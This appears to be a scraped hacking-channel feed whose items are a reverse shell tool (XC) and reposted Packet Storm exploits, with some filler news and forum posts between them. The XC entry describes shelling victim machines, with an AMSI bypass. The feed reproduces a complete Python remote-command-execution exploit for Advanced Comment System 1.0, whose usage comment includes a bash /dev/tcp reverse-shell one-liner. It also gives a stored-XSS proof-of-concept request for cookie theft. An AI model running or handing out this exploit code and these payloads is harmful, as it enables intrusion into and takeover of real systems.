XC - A Small Reverse Shell For Linux And Windows

Netcat like reverse shell for Linux & Windows. Features WindowsUsage:└ Shared Commands: !exit !upload * uploads a file to the target !download * downloads a file from the target !lfwd * local portforwarding (like ssh -L) !rfwd * remote portforwarding (like ssh -R) !lsfwd * lists active forwards !rmfwd * removes forward by index !plugins * lists available plugins !plugin * execute a plugin !spawn * spawns another client on the specified port !shell * runs /bin/sh !runas * restart xc with the specified user !met * connects to a x64/meterpreter/reverse_tcp listener└ OS Specific Commands: !powe rshell * starts powershell with AMSI Bypass !rc * connects to a local bind shell and restarts this client over it !runasps * restart xc with the specified user using powershell !vulns * checks for common vulnerabilities Linux Usage:└ Shared Commands: !exit !upload * uploads a file to the target !download * downloads a file from the target !lfwd * local portforwarding (like ssh -L) !rfwd * remote portforwarding (like ssh -R) !lsfwd * lists active forwards !rmfwd * removes forward by index !plugins * lists available plugins !plugin * execute a plugin !spawn * spawns another client on the specified port !shell * runs /bin/sh !runas * restart xc with the specified user !met * connects to a x64/meterpreter/reverse_tcp listener└ OS Specific Commands: !ssh < port> * starts sshd with the configured keys on the specified port Examples Linux Attacker: rlwrap xc -l -p 1337 (Server) WindowsVictim : xc.exe 10.10.14.4 1337 (Client) Argumentless: xc_10.10.14.4_1337.exe (Client) Setup Make sure you are running golang version 1.15+, older versions will not compile. I tested it on ubuntu: go version go1.16.2 linux/amd64 and kali go version go1.15.9 linux/amd64 git clone --recurse-submodules https://github.com/xct/xc.gitGO111MODULE=off go get golang.org/x/sys/...GO111MODULE=off go get golang.org/x/text/encoding/unicodeGO111MODULE=off go get github.com/hashicorp/yamuxsudo apt-get install rlwrap upx Linux: python3 build.py Known Issues When !lfwd fails due to lack of permissions (missing sudo), the entry in !lsfwd is still created Can't Ctrl+C out of powershell started from !shell !net (execute-assembly) fails after using it a few times - for now you can !restart and it might work again Tested: Kali (Attacker) Win 10 (Victim) Credits Included PrivescCheck by itm4n for Windows Clients: https://github.com/itm4n/PrivescCheck Download Xc
Read more...

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
How to Protect Data Security From Hackers?

https://cdn-images-1.medium.com/max/2600/1*xQJcqKXc697XoT_d5VNZeA.jpeg
Data hacking involves the actions related to pinpointing weaknesses within computer-based systems or even a part or entire network.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Having some trouble setting up proxies in Kali Linux.

Followed instructions from this video: https://youtu.be/qsA8zREbt6g and added 3 proxy ips. I was running it as an administrator and opened /etc/proxychains.conf in nano. I saved it as far as I know. When I type “locate proxychains” nothing happens. If I open /etc/proxychains without the .conf it is empty. Does that have anything to do with my problem? I’m not running it in a Remote Desktop.

submitted by /u/Moltenmelt1
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
NSS Signature Validation Memory Corruption

https://4.bp.blogspot.com/-9fc43SI8K3Q/WWlvhaBflZI/AAAAAAAAIQU/x3qxae6Q3eMl1Wf8m-XtOKQ3MaKSPPWfQCLcBGAs/s1600/h90.png
NSS (Network Security Services), Mozilla project's cross-platform security library, suffers from a memory corruption flaw when validating ECDSA signatures.

MD5 | 5166911d2f1f55ae05e8bf3fb9914042

Download
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
MilleGPG5 5.7.2 Luglio 2021 Privilege Escalation

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Advanced Comment System 1.0 Remote Command Execution

https://2.bp.blogspot.com/-eFdyzozIeoQ/WWlvJBrapBI/AAAAAAAAIL0/M7DCjoWzT04QjJ3gTxRIZh_KH17rlqHhwCLcBGAs/s1600/h146.png
Advanced Comment System version 1.0 suffers from a remote command execution vulnerability.

MD5 | 842196b79ae25188b19919d1c8170b75

Download
# Exploit Title: Advanced Comment System 1.0 - Remote Command Execution (RCE)
# Date: November 30, 2021
# Exploit Author: Nicole Daniella Murillo Mejias
# Version: Advanced Comment System 1.0
# Tested on: Linux

#!/usr/bin/env python3

# DESCRIPTION:
# Commands are Base64 encoded and sent via POST requests to the vulnerable application, the
# response is filtered by the randomly generated alphanumeric string and only command output
# is displayed.
#
# USAGE:
# Execute the script and pass the command to execute as arguments, they can be quoted or unquoted
# If any special characters are used, they should be quoted with single quotes.
#
# Example:
#
# python3 acspoc.py uname -a
# python3 acspoc.py 'bash -i >& /dev/tcp/127.0.0.1/4444 0>&1'

import sys
import base64
import requests
import random

def generate_string(size):
str = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
return ''.join(random.choice(str) for i in range(size))

def exploit(cmd):

# TODO: Change the URL to the target host
url = 'http://127.0.0.1/advanced_comment_system/index.php'

headers = {'Content-Type': 'application/x-www-form-urlencoded'}

encoded_cmd = base64.b64encode(cmd)

delimiter = generate_string(6).encode()

body = b'ACS_path=php://input%00&cbcmd='
body += encoded_cmd
body += b'&'

try:
result = requests.post(url=url, headers=headers, data=body)
except KeyboardInterrupt:
print("Keyboard interrupt detected.")
sys.exit()

if f'{delimiter.decode()}: ' in result.text:
position = result.text.find(f"{delimiter.decode()}:") + len(f"{delimiter.decode()}: ")

if len(result.text[position:]) > 0:
print(result.text[position:])
else:
print(f"No output from command '{cmd.decode()}'")
print(f"Response size from target host: {len(result.text)} bytes")

if __name__ == "__main__":
exploit(' '.join(sys.argv[1:]).encode())


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Online Enrollment Management System In PHP And PayPal 1.0 Cross Site Scripting

https://1.bp.blogspot.com/-CxGUMLkxSaY/WWlvcQOBNxI/AAAAAAAAIPc/zOKm_r-QYksdaJn5z44Zj2ZlNH1F7PBGQCLcBGAs/s1600/h75.png
Online Enrollment Management System in PHP and PayPal version 1.0 suffers from a persistent cross site scripting vulnerability.

MD5 | ff524c4791aa81b60bb626960fd08822

Download
# Exploit Title: Online Enrollment Management System in PHP and PayPal 1.0 - 'U_NAME' Stored Cross-Site Scripting
# Date: 2021-08-31
# Exploit Author: Tushar Jadhav
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/12914/online-enrollment-management-system-paypal-payments-phpmysqli.html
# Version: 1.0
# Tested on: Windows 11
# Contact: https://www.linkedin.com/in/tushar-jadhav-7a43b4171/
# CVE: CVE-2021-40577

=============================================================================================================================

Stored Cross-site scripting(XSS):

Stored attacks are those where the injected script is permanently stored on
the target servers,
such as in a database, in a message forum, visitor log, comment field, etc.
The victim then retrieves the malicious script from the server when it
requests the stored information.
Stored XSS is also sometimes referred to as Persistent XSS.

==============================================================================================================================

Attack vector:

This vulnerability can result in the attacker can injecting the XSS payload
in the User Registration section. Each time the admin login or basic user
Login in the admin panel, the XSS triggers and attacker can able to steal
the cookie according to the crafted payload.

===============================================================================================================================

Vulnerable Parameters: Name

===============================================================================================================================

Steps for reproducing:

1. Go to add users section
2. fill in the details. & put
payload in Name parameter.
3. Once we click on save, We can see the XSS has been triggered.

================================================================================================================================

Request :

POST /onlineenrolmentsystem/admin/user/controller.php?action=add HTTP/1.1
Host: 192.168.1.205:81
Content-Length: 133
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.1.205:81
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer:
http://192.168.1.205:81/onlineenrolmentsystem/admin/user/index.php?view=add
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: PHPSESSID=uonlna5pmhqh9shnj8t6oqc2g3
Connection: close

deptid=&U_NAME=%3Cscript%3Ealert%28window.origin%29%3C%2Fscript%3E&deptid=&U_USERNAME=test&deptid=&U_PASS=root&U_ROLE=Registrar&save=

===================================================================================================================================


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Announcing Marinade Bug Bounty
https://medium.com/marinade-finance/announcing-marinade-bug-bounty-d8b7589362cc?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

As you may know, Marinade has already undergone 3 audits and has always made security a top priority.Continue reading on Marinade.finance » (https://medium.com/marinade-finance/announcing-marinade-bug-bounty-d8b7589362cc?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

How to Exploit Firebase Realtime Database using REST API
https://masturf.medium.com/how-to-exploit-firebase-realtime-database-using-rest-api-34885160fa55?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

What is Firebase - Realtime Database?Continue reading on Medium » (https://masturf.medium.com/how-to-exploit-firebase-realtime-database-using-rest-api-34885160fa55?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
The Cyber Threats Facing Retailers This Holiday Shopping Season

With supply chain delays and an online shopping boom, attacks will come from multiple angles.